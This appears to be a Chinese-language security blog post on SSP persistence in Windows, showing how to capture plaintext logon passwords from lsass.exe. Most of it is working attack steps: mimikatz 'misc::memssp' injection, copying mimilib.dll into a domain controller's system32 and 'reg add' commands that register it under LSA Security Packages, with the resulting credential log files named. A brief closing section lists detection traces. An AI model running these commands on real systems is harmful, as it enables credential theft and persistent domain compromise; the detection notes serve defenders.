PCHunter下载地址:
新版:https://www.anxinsec.com/view/antirootkit/
旧版:http://www.xuetr.com/【仅在旧版Windows机器上可用,新版Windows10不支持】
攻击描述
LSA (Local Security Authority)用于身份验证; lsass.exe 作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到lsass.exe进程中。假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码,即使用户更改密码,只要重新登录,攻击者依然可以获取该账号的新密码。
1、SSP介绍
SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLM、Ketberos,Negotiare. Seure Channe (Schannel )、Digest、Credental ( CredSSP )。 SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。
NTLMSSP (msv1_0.dll)
Kerberos (kerberos.dll)
NegotiateSSP (secur32.dll)
Secure Channel (schannel.dll)
TLS/SSL
Digest SSP (wdigest.dll)
CredSSP (credssp.dll)
DPA(Distributed Password Authentication) (msapsspc.dll)
Public Key Cryptography User-to-User (PKU2U, pku2u.dll)
如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作
2、攻击方式
第一种:memssp【需锁屏:rundll32.exe user32.dll,LockWorkStation】
通过往lsass进程注入代码来加载msv1_0.dll中的SpAcceptCredentials函数,该攻击不会在系统中留下二进制文件。但如果机器重启,被注入的代码就会失效。该攻击会在系统登录过程中将获取的明文密码存储在日志文件:C:\Windows\System32\mimilsa.log中
mimikatz.exe "privilege::debug" "misc::memssp" exit
注销账户重新登录,在C:\Windows\System32 查看是否有mimilsa.log文件
工具查看【PCHunter】
第二种:mimikatz中的mimilib.dll【需系统重启】
该dll有个SpLsaModeInitialize导出函数,lsass会使用该函数来初始化包含多个回调函数的一个结构体,其中回调函数SpAcceptCredentials用来接收LSA传递的明文凭据,以便SSP缓存,mimikatz利用AddSecurityPackage这个API来加载SSP,这样可以在不重启的情况下添加Mimilib。当添加成功后,我们发现每次进行身份认证时,凭据信息都会被写入kiwissp.log文件中
将mimilib.dll复制到域控c:\windows\system32(放入该路径下是为了直接加载,而不用指定dll文件的路径)
在注册表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages下添加mimilib.dll之后只要触发了身份认证就会记录登录的密码
该注册表项默认值为 “”
reg query HKLM\System\CurrentControlSet\Control\Lsa /v "Security Packages"
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ
#注:该注册表值仅写入mimilib.dll也是可以的
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ
域控重启之后,在C:\Windows\System32路径下存在一个新的日志文件,Kiwissp.log,其中保存着明文密码
特征:文件说明、文件版权信息
3、日志特征
Windows Event 4622[需开启收集日志才会有]
文件创建:mimilsa.log、kiwissp.log
注册表修改:HKLM\System\CurrentControlSet\Control\Lsa\Security Packages
注:此文章参考了很多的网络上的其他文章!!!